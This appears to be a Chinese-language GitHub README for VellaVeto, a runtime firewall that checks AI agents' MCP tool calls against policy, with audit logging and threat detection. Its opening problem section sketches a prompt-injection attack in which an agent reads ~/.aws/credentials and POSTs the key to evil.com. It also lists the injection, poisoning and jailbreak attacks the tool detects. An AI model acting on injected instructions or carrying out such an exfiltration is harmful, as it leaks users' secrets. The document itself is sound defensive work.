paolovella/vellaveto
GitHub: paolovella/vellaveto
VellaVeto 是一个专为 AI 智能体和 MCP 工具调用设计的交互防火墙与安全控制平面,通过策略引擎和深度威胁检测在运行时边界阻止提示注入和数据泄露等风险。
Stars: 3 | Forks: 0
**VellaVeto 是一个智能体交互防火墙** —— 它是 AI 智能体与工具、服务以及用户进行交互的运行时边界。每一个带有副作用的决策都会跨越这一边界:工具调用会根据策略进行评估,不可逆操作需要经过绑定审批,会话在设计上相互隔离,并且每一个裁决都会被记录在带有防篡改审计日志的结构化 [ACIS 决策信封](docs/SECURITY_MODEL.md)中。你可以将其部署为 stdio 代理、HTTP 网关或客户端隐私盾牌。
## 问题所在
AI 智能体可以读取文件、发起 HTTP 请求并执行命令。如果没有集中化的控制措施:
```
Agent receives prompt injection
→ reads ~/.aws/credentials
→ POST https://evil.com/exfil?data=AKIA...
→ no audit trail, no one notices
```
这并非假设。在大约过去的 15 个月里,MCP 生态系统已经积累了[数十个已公开的 CVE 漏洞](https://www.practical-devsecops.com/mcp-security-vulnerabilities/):`mcp-remote` 中的命令注入([CVE-2025-6514](https://nvd.nist.gov/vuln/detail/CVE-2025-6514)),Anthropic 官方 Git MCP 服务器中的路径遍历([CVE-2025-68143/44/45](https://github.com/anthropics/anthropic-cookbook/security/advisories)),向 AI 配置中注入恶意 MCP 服务器的 [SANDWORM](docs/THREAT_MODEL.md) npm 供应链蠕虫,以及作为 MCP 包分发的 [SmartLoader](https://blog.morphisec.com/smartloader-malware-targets-manufacturing) 木马。已发现[数以千计的 MCP 服务器](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks)在没有任何身份验证的情况下被暴露。
VellaVeto 是 AI 智能体和工具服务器之间的运行时边界。每一个带有副作用的调用在执行前都会根据策略进行评估。没有匹配的策略、缺少上下文或评估错误都会导致 `Deny`。每一个决策都会通过结构化的 ACIS 决策信封记录在防篡改的链中。
```
Agent attempts: read_file("/home/user/.aws/credentials")
→ VellaVeto evaluates against policy
→ Deny { reason: "path blocked by credential-protection rule" }
→ Logged with SHA-256 chain + Ed25519 checkpoint
→ Agent never sees the file contents
```
## 消费者盾牌 —— 保护用户免受 AI 提供商的侵扰
企业安全只是故事的一半。当 AI 提供商通过其基础设施处理工具调用时,他们可以看到您的文件路径、凭据、浏览模式和工作上下文。[消费者盾牌](examples/presets/consumer-shield.toml)是一种用户侧部署模式,旨在保护个人免受大规模数据收集的侵扰 —— 无论提供商的服务条款怎么说。
```
You type: "Read my medical records at /home/alice/health/lab-results.pdf"
→ Shield intercepts before the provider sees it
→ PII replaced: "Read my medical records at [PII_PATH_1]"
→ Provider processes the sanitized request
→ Response comes back, Shield restores original paths
→ Encrypted local audit proves what was shared and what was stripped
```
**盾牌的作用:**
| 层级 | 保护内容 | 保护方式 |
|---|---|---|
| **PII 脱敏** | 文件路径、电子邮件、IP、姓名、凭据 | 使用 `[PII_{CAT}_{SEQ}]` 占位符进行双向替换 —— 提供商永远不会看到原始信息 |
| **加密本地审计** | 完整的交互历史 | XChaCha20-Poly1305 + Argon2id,存储在您的机器上,而不是提供商的服务器上 |
| **会话隔离** | 跨会话关联 | 每个会话都会获得全新的凭据 —— 提供商无法通过关联会话来构建您的画像 |
| **凭据保险库** | 通过工具调用传递的 API 密钥、token | 盲凭据绑定 —— 提供商能看到工具调用,但看不到凭据的值 |
| **防文体指纹** | 写作风格指纹识别 | 空格、标点符号、表情符号和填充词的规范化,使您的写作模式无法被识别 |
| **金丝雀搜查令** | 法律强制透明度 | Ed25519 签名的金丝雀 —— 如果它停止更新,请假定受到了法律施压 |
盾牌以 `vellaveto-shield` 的形式在本地运行,并在 **MPL-2.0** 协议下开源 —— 无需企业许可证。
```
vellaveto-shield --config consumer-shield.toml -- npx @anthropic/claude-desktop
```
## 功能概述
VellaVeto 在智能体作用于外部世界的运行时表面强制执行五项边界不变量:
1. **没有能力就不能调用工具** —— 每一个带有副作用的调用都通过一个共享的评估管道进行调解,无论传输方式如何,都会生成一个结构化的 ACIS 决策信封
2. **委托的能力是单调的** —— 能力授权只能衰减,绝不能升级;已在 Verus 和 Coq 中通过了形式化验证
3. **不可逆操作需要签名审批** —— 具有会话和指纹绑定的、受限的、防重放的、一次性的审批
4. **无跨会话泄漏,且跨会话工作连贯** —— 会话隔离是一项产品不变量,而非尽力而为;凭据轮换、上下文窗口隔离和文体特征规范化强制实现了不可关联性
5. **不可信内容无法暗中驱动特权操作** —— [控制/数据通道分离](docs/CHANNEL_SEPARATION.md):无论检测结果如何,不可信的工具响应都会自动污染会话,意图范围声明用于约束操作空间,而行为序列分析则负责捕获异常模式。这三层组合成了与检测无关的防御体系
这些不变量由具体的运行时能力强制执行:
- **策略引擎** —— glob/正则/域名匹配、参数约束、时间窗口、调用限制、单工具配额、密钥替换、声明式策略模板、Cedar 风格的 ABAC、Wasm 插件。<5ms 的 P99 评估延迟。
- **威胁检测** —— 注入、工具抢占、撤回欺诈、投毒、DLP、记忆投毒、多智能体串谋、语义输出契约、信任层遏制、传染控制、响应元数据剥离、委托链执行、越狱模式、token 泄漏、系统提示词泄漏、浏览器智能体攻击、输出异常、拒绝钱包攻击、级联故障检测、数据外传路径分析、服务器指纹漂移、目标漂移、A2A 完整性、NHI 权限过宽、智能体行为基线、提示模板注入、ETDI 签名验证、MINJA 防御以及[控制/数据通道分离](docs/CHANNEL_SEPARATION.md)(来源类别污染、意图范围、行为序列分析)。超过 30 个检测层,绝不仅仅是正则表达式。
- **身份与访问** —— OAuth 2.1/JWT、OIDC/SAML、RBAC、能力委托、DPoP (RFC 9449)、非人类身份生命周期。
- **拓扑发现** —— 自动发现 MCP 服务器、工具和资源。检测配置漂移、工具影子化和命名空间冲突。
- **审计与合规** —— 防篡改日志 (SHA-256 + Merkle + Ed25519)、ACIS 决策信封、ZK 证明、兼容 OTel 的 span 生成、映射至 EU AI Act、SOC 2、DORA、NIS2、NIST AI 600-1、ISO 42001 及其他 6 项框架的证据包。Annex IV 文档生成、Article 73 事件报告生成以及 FRIA 数据导出器。
- **消费者盾牌** —— 包含上述所有功能,并在用户端运行。参见[消费者盾牌](#consumer-shield--protect-users-from-ai-providers)。
**核心保证:**
- **完全调解** —— 请求和响应路径会在工具执行之前和模型返回之前进行评估
- **故障即关闭** —— 错误、缺失策略和未解析的上下文均会产生 `Deny` 结果
- **防篡改审计** —— SHA-256 哈希链 + Merkle 证明 + Ed25519 签名检查点,每个裁决均附带结构化的 ACIS 决策信封
- **内容绑定认证** —— 对每个响应进行 HMAC-SHA256 签名的扫描结果,通过密码学方式将注入/DLP/Schema 裁决绑定到响应内容的哈希值上。消费者可通过 `SDK.verify_attestation()` 进行验证。设置 `VELLAVETO_ATTESTATION_SECRET` 以启用此功能。
- **公共安全契约** —— [安全保证](docs/SECURITY_GUARANTEES.md) + [保证案例](docs/ASSURANCE_CASE.md),附带可复现的证据
## 快速开始
### 即时保护
选择一个保护级别即可开始 —— 无需配置文件:
```
# 安装(选择其一):
cargo install vellaveto-proxy # From source (~2 min)
# 或从 https://github.com/paolovella/vellaveto/releases 下载预构建的二进制文件
# Shield — 凭证、SANDWORM 防御、数据窃取阻断、注入/DLP
vellaveto-proxy --protect shield -- npx @modelcontextprotocol/server-filesystem /tmp
# Fortress — shield + 系统文件、包配置、sudo 审批、内存跟踪
vellaveto-proxy --protect fortress -- python -m mcp_server
# Vault — 默认拒绝、允许安全读取、写入需要审批
vellaveto-proxy --protect vault -- ./my-server
```
| 级别 | 默认动作 | 拦截内容 | 适用对象 |
|-------|---------|----------------|----------|
| `shield` | Allow | 凭据、SANDWORM (AI 配置注入)、数据外传域名、git 钩子、系统文件、危险命令、注入、DLP | 任何人 —— 开箱即用 |
| `fortress` | Allow | Shield + 包配置篡改、权限升级审批、记忆投毒检测、影子智能体检测 | 需要更强保护的开发者 |
| `vault` | **Deny** | 除非明确允许,否则拦截一切;允许源码读取 + git 读取,写入操作需要审批 | 最高安全性 |
--` 包装服务器命令即可。
### 结合 OpenAI Codex CLI 使用
编辑 `~/.codex/config.json`:
```
{
"mcpServers": {
"filesystem": {
"command": "vellaveto-proxy",
"args": [
"--protect", "shield",
"--", "npx", "-y",
"@modelcontextprotocol/server-filesystem", "."
]
}
}
}
```
### 结合 VS Code 使用 (Copilot / Cline / Roo Code)
添加到您的 VS Code `settings.json` 中:
```
{
"mcp": {
"servers": {
"filesystem": {
"command": "vellaveto-proxy",
"args": [
"--protect", "fortress",
"--", "npx", "-y",
"@modelcontextprotocol/server-filesystem", "."
]
}
}
}
}
```
有关更多提供商(Zed、JetBrains、Amazon Q、Continue)和 SDK 集成指南(Anthropic、OpenAI、LangChain、LangGraph、CrewAI),请参见 [docs/QUICKSTART.md](docs/QUICKSTART.md)。
### VellaVeto 桌面版(原生应用)
为您的所有 AI 工具提供一键保护 —— 无需手动编辑配置。
- **自动检测** —— 发现 Claude Desktop、Claude Code、Cursor、Windsurf、VS Code (Copilot/Cline/Roo Code)、OpenAI Codex CLI、Zed、Continue、Amazon Q Developer、JetBrains AI
- **一键保护** —— 重写 MCP 配置,以使用 `vellaveto-proxy --protect ` 包装服务器
- **活动流** —— 显示每个 allow/deny 决策的实时 JSONL 事件流
- **风险扫描** —— 标记宽泛的文件系统访问、未受保护的 `npx` 命令、缺失的保护
使用 [Tauri v2](https://tauri.app/)(Rust 后端 + React 前端)构建。源码:[`packages/vellaveto-desktop/`](packages/vellaveto-desktop/)。
## 工作原理
每一个带有副作用的决策都会跨越 VellaVeto 的运行时边界:
```
┌──────────────────────────────────┐
AI Agent ────────>│ VellaVeto Runtime Boundary │────────> Tool Server
│ │
│ 1. Parse action + fingerprint │
│ 2. Match policy (fail-closed) │
│ 3. Evaluate constraints + ABAC │
│ 4. Check approval (if required) │
│ 5. Allow / Deny verdict │
│ 6. ACIS decision envelope │
│ 7. Tamper-evident audit log │
└────────────────┬─────────────────┘
│
Audit trail: SHA-256 chain +
ACIS envelopes + Ed25519 signatures
```
相同的调解管道运行于所有传输协议之上—— 这种传输对等性是被强制执行的,而不是假设的。
## 架构
```
graph TD
subgraph "Policy Core"
VT[vellaveto-types] --> VCfg[vellaveto-config]
VT --> VCan[vellaveto-canonical]
VT --> VE[vellaveto-engine]
VT --> VDisc[vellaveto-discovery]
VE --> VA[vellaveto-audit]
VE --> VAppr[vellaveto-approval]
end
subgraph "Gateway & Control Plane"
VA --> VMCP[vellaveto-mcp]
VCfg --> VP[vellaveto-proxy]
VMCP --> VP
VMCP --> VHP[vellaveto-http-proxy]
VMCP --> VServer[vellaveto-server]
VCfg --> VCluster[vellaveto-cluster]
VCluster --> VOp[vellaveto-operator]
end
subgraph "Consumer & Ecosystem"
VS[vellaveto-shield] --> MS[vellaveto-mcp-shield]
VS --> HS[vellaveto-http-proxy-shield]
VS --> VC[vellaveto-canary]
MCPSEC[mcpsec]
end
MS --> VMCP
HS --> VHP
VC --> VA
```
底层的 crate 绝不会依赖上层的 crate。边界契约(`vellaveto-types` ACIS 信封)从叶子节点向下流动;运行时表面(`proxy`、`http-proxy`、`shield`)在顶层强制执行相同的调解管道。`vellaveto-operator` 是独立的(基于 kube-rs,无内部依赖)。许可证层级在 [LICENSING.md](LICENSING.md) 中单独记录。
## 边界能力
| | 强制执行内容 | 文档 |
|---|---|---|
| **策略引擎** | Glob/正则/域名匹配、参数约束、时间窗口、调用限制、单工具配额、密钥替换、声明式策略模板、动作序列、Cedar 风格的 ABAC、Wasm 插件。预编译模式,<5ms P99,决策缓存。 | [策略](docs/POLICY.md) |
| **威胁检测** | 30+ 检测层:注入 (Aho-Corasick + NFKC + 混淆解码)、工具抢占、撤回欺诈、投毒、DLP、记忆投毒、多智能体串谋、语义输出契约、传染控制、越狱模式、token 泄漏、系统提示词泄漏、浏览器智能体攻击、输出异常、拒绝钱包攻击、级联故障、数据外传路径分析、服务器指纹漂移、目标漂移、A2A 完整性、NHI 权限过宽、智能体基线、提示模板注入、ETDI、MINJA 以及具备感知遏制能力的审计上下文。映射至 [OWASP 智能体 Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)。 | [威胁模型](docs/THREAT_MODEL.md) |
| **通道分离** | 来源类别自动污染(不可信的工具工具无论检测结果如何都会污染会话)、意图范围声明(在污染时通过自动收窄来约束各会可使用的工具/接收器)、行为序列分析(针对 读取→外传、权限升级、工具多样性激增、新型工具、动作聚类 的 5 个确定性检测器)。三层组合构成了与检测无关的防御。 | [通道分离](docs/CHANNEL_SEPARATION.md) |
| **身份与访问** | OAuth 2.1/JWT、OIDC/SAML、RBAC (4 种角色,14 项权限)、带有 forbid-overrides 的 ABAC、能力委托、DPoP (RFC 9449)、非人类身份生命周期。 | [IAM](docs/IAM.md) |
| **审批门控** | 具有会话与指纹绑定的、受限的、防重放的、一次性的审批。不可逆操作被分类并加设门控。人类可读的事实摘要、血缘漂移失效、结构化遏制上下文、信任/污染摘要以及风险评分在 pending、approve 和 deny 流程中均被保留。 | [安全模型](docs/SECURITY_MODEL.md) |
| **拓扑发现** | 通过拓扑图自动发现 MCP 服务器、工具和资源。检测漂移、工具影子化和命名空间冲突。拓扑守护作为策略前置过滤器。 | [架构](#architecture) |
| **审计与合规** | 防篡改日志 (SHA-256 + Merkle + Ed25519)、ACIS 决策信封、ZK 证明 (Pedersen + Groth16)、兼容 OTel 的 span 导出、Annex IV 文档生成器、带有跨法规截止日期的 Article 73 事件报告、FRIA 数据导出、适用于 12 项框架的证据包。 | [合规](docs/COMPLIANCE.md) |
| **会话隔离** | 按会话的凭据轮换、上下文窗口隔离、文体特征规范化、流量填充。从结构上阻止跨会话关联,同时用户保持完整的工作流连续性 —— 上下文通过确定性的动作指纹识别在各个会话中保持连贯和安全,而不会泄漏会话边界。 | [消费者盾牌](examples/presets/consumer-shield.toml) |
| **消费者盾牌** | 用户侧 PII 脱敏、加密本地审计 (XChaCha20-Poly1305)、凭据保险库、金丝雀搜查令。所有边界强制措施均在客户端运行。 | [消费者盾牌](examples/presets/consumer-shield.toml) |
| **部署** | 6 种模式:HTTP、stdio、WebSocket、gRPC、gateway、consumer shield。K8s operator (3 个 CRD)、Helm chart、Terraform provider、VS Code 扩展。 | [部署](docs/DEPLOYMENT.md) |
## 安全性
### 内部对抗性审计
VellaVeto 不断接受内部对抗性审计扫描的检验,这些扫描映射至 [OWASP 智能体应用 Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)。这些并非第三方审计:它们是反复进行的内部红队演练,我们在其中攻击正在运行的系统,记录发现,落实修复,并添加回归测试用例。当前的扫描历史和方法论记录在[更新日志](CHANGELOG.md)和[安全保证](docs/SECURITY_GUARANTEES.md)中。
- **全局故障即关闭** —— 空策略集、缺少参数、锁中毒、容量耗尽和评估错误均会产生 `Deny` 结果
- **库代码中零 `unwrap()`** —— 所有错误路径均返回类型化错误;panic 仅保留给测试使用
- **广泛的自动化覆盖** —— Rust、SDK、集成、基准和模糊测试套件为核心策略、代理和审计路径提供了支持
- **后量子就绪** —— 混合 Ed25519 + ML-DSA-65 (FIPS 204) 审计签名,在 `pqc-hybrid` 特性门控之后
### 形式化验证
我们使用形式化方法来证明(而不仅仅是测试)关键的安全属性:
| 工具 | 验证内容 | 文件 |
|---|---|---|
| **TLA+** | 策略引擎确定性、ABAC forbid-override 正确性、工作流约束执行、任务生命周期安全性、级联故障恢复、来源污染遏制 (ST1-ST4)、意图范围遏制 (IS1-IS4)、序列遏制 (SQ1-SQ4) | [formal/tla/](formal/tla/) |
| **Verus** | 对实际 Rust 的演绎验证 (通过 Z3 SMT 覆盖所有输入):裁决的故障即关闭、路径规范化、规则覆盖正确性、DLP 缓冲区安全、审批范围/消耗绑定、传输清洗、能力委托、NHI 委托 + 传递性撤销、证据包签名、会话热重启、审批血缘漂移以及细化义务 (682 个已验证项) | [formal/verus/](formal/verus/) |
| **Kani** | 针对实际 Rust 的有界模型检查工具,覆盖 IP 验证、缓存安全、能力委托、规则检查、约束评估、任务生命周期、IDNA 规范化、Unicode 同形字处理、锁中毒安全、Webhook 去重和审批漂移 (116 个证明工具,264 个单元测试) | [formal/kani/](formal/kani/) |
| **Lean 4** | 故障即关闭属性 (错误 → Deny)、评估确定性、路径规范化幂等性 | [formal/lean/](formal/lean/) |
| **Coq** | 定理证明属性,涵盖故障即关闭行为、确定性、ABAC forbid-override、能力委托衰减、熔断器和任务生命周期 | [formal/coq/](formal/coq/) |
| **Alloy** | 能力委托无法提升权限 | [formal/alloy/](formal/alloy/) |
形式化验证涵盖 TLA+、Verus、Kani、Lean 4、Coq 和 Alloy。实时的属性目录和当前计数维护在 [formal/README.md](formal/README.md) 中;信任边界和假设记录在 [docs/TRUSTED_COMPUTING_BASE.md](docs/TRUSTED_COMPUTING_BASE.md) 中。
### 先前局限(现已解决)
此前记录的所有四项局限性均已得到解决:
- **跨调用 DLP** —— 带有重叠缓冲区的 `SessionDlpTracker` 可检测在一个会话中跨多个工具调用被拆分的机密(每个字段约 150 字节状态)。参见 [`cross_call_dlp.rs`](vellaveto-mcp/src/inspection/cross_call_dlp.rs)。
- **语法验证的注入** —— 编译为 DFA 的 JSON Schema `pattern` 约束提供了一种正向安全模型 (阶段 72)。现有的 Aho-Corasick 预过滤器仍作为纵深防御保留。MCPSEC A14 攻击测试验证了其执行情况。
- **TLS 终结** —— 通过 [`vellaveto-tls`](vellaveto-tls/) crate 提供内置的、基于 rustls 的 TLS/mTLS 支持。支持 SPIFFE 身份提取、后量子密钥交换策略和自动 ALPN 协商。外部反向代理仍为可选项。
- **独立验证** —— [漏洞赏金计划](SECURITY_BOUNTY.md) (HackerOne + Huntr)、[OSTIF 审计范围](docs/OSTIF_AUDIT_SCOPE.md)、Codecov 集成以及 OpenSSF 最佳实践徽章注册。
完整细节:[安全保证](docs/SECURITY_GUARANTEES.md) | [威胁模型](docs/THREAT_MODEL.md) | [保证案例](docs/ASSURANCE_CASE.md) | [ACIS 契约](docs/ACIS_CONTRACT.md)
### MCPSEC 基准
我们构建了 [MCPSEC](mcpsec/),这是一个针对 MCP 网关的、开放的、与供应商无关的安全基准 (Apache-2.0)。它定义了 10 项正式的安全属性和涵盖 16 种攻击类别的 105 个可重现的攻击测试用例。目前 VellaVeto 公布的最新参考结果是 [mcpsec/results/vellaveto-v6.1.json](mcpsec/results/vellaveto-v6.1.json):在 105/105 项测试中得分 **100/100(第 5 级:加固)**。你可以针对任何 MCP 网关运行它 —— 包括我们的:
```
cargo run -p mcpsec -- --target http://localhost:3000 --format markdown
```
有关属性、攻击类别和方法论,请参见 [mcpsec/README.md](mcpsec/README.md)。
### 合规与监管框架
VellaVeto 将运行时安全控制映射至 **12 项监管和行业框架** —— 它是唯一内置合规性证据生成的 MCP 网关。每个框架都有一个专用的 Rust 注册表,将 VellaVeto 的能力映射到特定的条款、法令或控制措施,并为受监管的框架提供覆盖范围报告和证据包。
**监管类:** EU AI Act (第 9/10/12/14/50 条)、NIS2 (第 21-23 条,带有 24h/72h/1M 事件时间线)、DORA (第 II/III/V 章,针对金融 ICT 弹性)、ISO 42001 (AI 管理体系)
**信任与认证类:** SOC 2 Type II (CC1-CC9,带有自动化的 CC6 访问审查)、NIST AI 600-1 (12 个 GenAI 风险领域)
**威胁与安全类:** OWASP 智能体 Top 10 (ASI01-ASI10)、OWASP MCP Top 10 (MCP01-MCP10)、CoSAI (38/38 项控制)、Adversa TOP 25 (25/25)、CSA 智能体信任框架、新加坡 MGF
**跨法规事件报告** 将单一安全事件映射至每个适用框架的通知时间线(NIS2 24 小时预通知、DORA 分类、EU AI Act 第 62 条义务)。**10 项框架差距分析** 提供了一份包含优先级排序的补救指南的综合覆盖范围报告。
完整细节:[合规指南](docs/COMPLIANCE.md) | [网站:vellaveto.online/compliance](https://vellaveto.online/compliance)
## 横向对比
| | **VellaVeto** | **AgentGateway** | **MCP-Scan (Snyk)** | **Lasso Gateway** |
|---|---|---|---|---|
| **编程语言** | Rust | Rust | Python | Python |
| **背景支持** | 独立开发 | Linux 基金会 / Solo.io | Snyk (收购了 Invariant Labs) | Lasso Security (融资约 2800 万美元) |
| **星标数** | 新项目 | ~1,800 | ~1,700 | ~349 |
| **主要角色** | 智能体交互防火墙(运行时边界) | 连接代理 / 网关 | 扫描器 + 监控器 | 安全网关(基于插件) |
| **评估延迟** | <5ms P99 | 未公布 | 不适用 (扫描时) | 未公布 |
| **策略引擎** | Glob/正则/域名、ABAC、Cedar、Wasm 插件、时间窗口、调用序列 | OPA / OpenFGA / CEL | 护栏策略 | 基于插件的护栏 |
| **注入检测** | 20+ 层 (Aho-Corasick, NFKC, ROT13, base64, 数学符号, leetspeak, emoji 走私, FlipAttack, 记忆投毒, schema 投毒, ...) | AI 提示词防护 (基于 LLM) | 工具描述扫描 + LLM 裁决 | 护栏插件 |
| **DLP** | 5 层解码 + 凭据模式 | PII 模式掩码 | 机密扫描 | Presidio 插件 |
| **传输覆盖** | HTTP、WebSocket、gRPC、stdio、SSE (已验证对等性) | MCP + A2A | MCP (stdio + proxy) | MCP (stdio, SSE) |
| **审计追踪** | SHA-256 链 + Merkle + Ed25519 + ZK 证明 + PostgreSQL | 可观测性钩子 | 日志记录 | 日志记录 |
| **合规性** | 12 项框架 (EU AI Act, SOC 2, DORA, NIS2, ...) | 无 | 无 | 无 |
| **形式化验证** | TLA+, Lean 4, Coq, Alloy, Kani, Verus | 无 | 无 | 无 |
| **通道分离** | 来源类别污染、意图范围、行为序列分析 | 无 | 无 | 无 |
| **消费者隐私** | PII 脱敏、会话隔离、凭据保险库、防文体指纹 | 无 | 无 | PII 扫描 |
| **企业 IAM** | OIDC, SAML, RBAC, SCIM, DPoP | 无 | 无 | 无 |
| **响应认证** | HMAC-SHA256 内容绑定的扫描结果 | 无 | 无 | 无 |
| **MCPSEC 得分** | 100/100 (第 5 级,参考运行) | 未测试 | 不适用 | 未测试 |
| **设置便利性** | `--protect shield` (一个标志) / Docker / Helm | Docker / 二进制 | `pip install` | `pip install` |
| **许可证** | MPL-20 / Apache-2.0 / BUSL-1.1 | Apache-2.0 | Apache-2.0 | MIT |
**权衡:** AgentGateway 和 MCP-Scan 拥有强大的机构支持(Linux 基金会、Snyk)和更庞大的社区。AgentGateway 擅长作为连接和可观测性层与外部策略引擎 (OPA, OpenFGA) 集成;MCP-Scan 则擅长扫描 MCP 服务器配置,并且现在包含了一个运行时代理模式。两者都具备可靠的安全特性。Lasso Gateway 和 [PipeLock](https://github.com/luckyPipewrench/pipelock) (Go 语言,单二进制文件) 在范围上更接近,但在深度上稍显不足。VellaVeto 的差异化在于它是一个运行时边界执行器:集成的策略评估 (<5ms P99)、每个裁决上的结构化 ACIS 决策信封、多传输对等性、作为产品不变量的会话隔离、合规证据,以及对边界属性的形式化验证。上表是我们尽最大努力做出的客观对比 —— 我们鼓励您根据自身的需求对每款工具进行评估。
## 部署模式
| 模式 | 命令 | 使用场景 |
|---|---|---|
| HTTP API 服务器 | `vellaveto serve` | 仪表板、REST API、策略管理 |
| MCP Stdio 代理 | `vellaveto-proxy` | Claude Desktop、本地 MCP 服务器 |
| HTTP 反向代理 | `vellaveto-http-proxy` | 已部署的 MCP 服务器,SSE/Streamable HTTP |
| WebSocket 代理 | `vellaveto-http-proxy` | 位于 `/mcp/ws` 的双向 MCP-over-WS |
| gRPC 代理 | `vellaveto-http-proxy --grpc` | 高吞吐量,protobuf 原生 (受特性门控) |
| 消费者盾牌 | `vellaveto-shield` | 用户侧 PII 保护 |
| 桌面应用 | `vellaveto-desktop` | 针对 Claude/Cursor/Windsurf/VS Code 的一键保护 |
有关配置细节,请参见 [docs/DEPLOYMENT.md](docs/DEPLOYMENT.md)。
## 文档
### 入门指南
| 文档 | 描述 |
|---|---|
| [快速入门](docs/QUICKSTART.md) | 框架集成指南 (Anthropic, OpenAI, LangChain, LangGraph, MCP) |
| [15 分钟安全入门](docs/SECURE_QUICKSTART_15_MIN.md) | 带有审计验证的端到端默认拒绝演练 |
| [策略配置](docs/POLICY.md) | 策略语法、操作符、预设、启发式、采样、DLP、工具配额、密钥替换 |
| [CLI 参考](docs/CLI.md) | 所有二进制文件和命令 |
| [环境变量](docs/ENV.md) | 通过环境进行配置 |
### 安全与合规
| 文档 | 描述 |
|---|---|
| [安全保证](docs/SECURITY_GUARANTEES.md) | 规范化的、可证伪的安全契约 |
| [威胁模型](docs/THREAT_MODEL.md) | 信任边界、攻击面、缓解措施 |
| [保证案例](docs/ASSURANCE_CASE.md) | 声明 -> 证据 -> 复现映射 |
| [ACIS 契约](docs/ACIS_CONTRACT.md) | 决策信封结构、构建器选择、传输对等性 |
| [边界清单](docs/BOUNDARY_INVENTORY.md) | 传输拦截面映射 (E1-3) |
| [通道分离](docs/CHANNEL_SEPARATION.md) | 针对控制/数据通道混淆的三层结构化防御 |
| [安全加固](docs/SECURITY.md) | 安全配置最佳实践 |
| [量子迁移](docs/quantum-migration.md) | PQC 推出与回滚门控 |
### 运维与架构
| 文档 | 描述 |
|---|---|
| [部署指南](docs/DEPLOYMENT.md) | Docker、Kubernetes (Helm)、裸金属 |
| [运维手册](docs/OPERATIONS.md) | 监控、故障排查、维护 |
| [API 参考](docs/API.md) | HTTP API 接口、路由组以及请求/响应示例 |
| [审计日志](docs/AUDIT_LOG.md) | 审计系统内部原理、验证、SIEM 导出 |
| [IAM](docs/IAM.md) | OIDC、SAML、RBAC、会话管理 |
| [基准测试](docs/BENCHMARKS.md) | 可重现的性能基准 |
| [评估追踪](docs/AUDIT_LOG.md) | 决策可解释性与执行图 |
### SDK
| SDK | 路径 | 测试 |
|---|---|---|
| Python (同步 + 异步,LangChain, LangGraph, CrewAI, Google ADK, OpenAI Agents, Composio, Claude Agent, Strands, MS Agents) | [sdk/python/](sdk/python/) | 484 |
| TypeScript | [sdk/typescript/](sdk/typescript/) | 122 |
| Go | [sdk/go/](sdk/go/) | 129 |
| Java | [sdk/java/](sdk/java/) | 120 |
## 开发
```
# 构建
cargo build --release
# 测试
cargo test --workspace
# Lint
cargo clippy --workspace --all-targets
# Format
cargo fmt --check
# 安全审计
cargo audit
# Benchmarks
cargo bench --workspace
# Fuzz(需要 nightly)
cd fuzz && cargo +nightly fuzz run fuzz_json_rpc_framing -- -max_total_time=60
```
有关开发规则和提交格式,请参见 [CONTRIBUTING.md](CONTRIBUTING.md)。
### CI 策略验证
在 GitHub Actions 中验证您的策略配置:
```
- uses: paolovella/vellaveto/.github/actions/policy-check@main
with:
config: vellaveto.toml
strict: true
```
## 许可证
| 层级 | 许可证 | Crates |
|---|---|---|
| 核心 + 消费者 | MPL-2.0 | types, engine, audit, config, canonical, discovery, approval, proxy, mcp-shield, shield |
| 金丝雀 + 基准 | Apache-2.0 | canary, mcpsec |
| 企业版 | BUSL-1.1 → MPL-2.0 | server, http-proxy, mcp, cluster, operator, integration |
企业版 crate 在生产环境中可免费用于 ≤3 个节点 / ≤25 个端点的部署。每个版本会在 3 年后转换为 MPL-2.0。完整细节请参见 [LICENSING.md](LICENSING.md)。如需托管服务产品或超出阈值的部署,请联系 **hello@vellaveto.online**。
## 参考文献
- [MCP 规范 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)
- [OWASP 智能体应用 Top 10 (2026)](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)
- [OWASP MCP 服务器 Top 10](https://owasp.org/www-project-top-10-for-mcp-servers/)
- [CoSAI MCP 安全白皮书](https://www.coalitionforsafeai.org/)
- [ETDI:缓解 MCP 中的工具抢占和撤回欺诈攻击](https://arxiv.org/abs/2506.01333)
- [企业级 MCP 安全](https://arxiv.org/pdf/2504.08623)
- [MCP 安全漏洞 —— 实用 DevSecOps](https://www.practical-devsecops.com/mcp-security-vulnerabilities/)
标签:Agentic, AI代理, AI安全, API网关, Chat Copilot, CISA项目, CSV导出, JSONLines, JS文件枚举, MCP, Rust, Streamlit, 可视化界面, 子域名突变, 安全合规, 审计, 工具调用, 形式化验证, 拓扑发现, 控制平面, 提示词模板, 日志审计, 模型上下文协议, 流量拦截, 策略控制, 网关, 网关代理, 网络代理, 网络流量审计, 访问控制, 请求拦截, 逆向工具, 通知系统, 防火墙, 零信任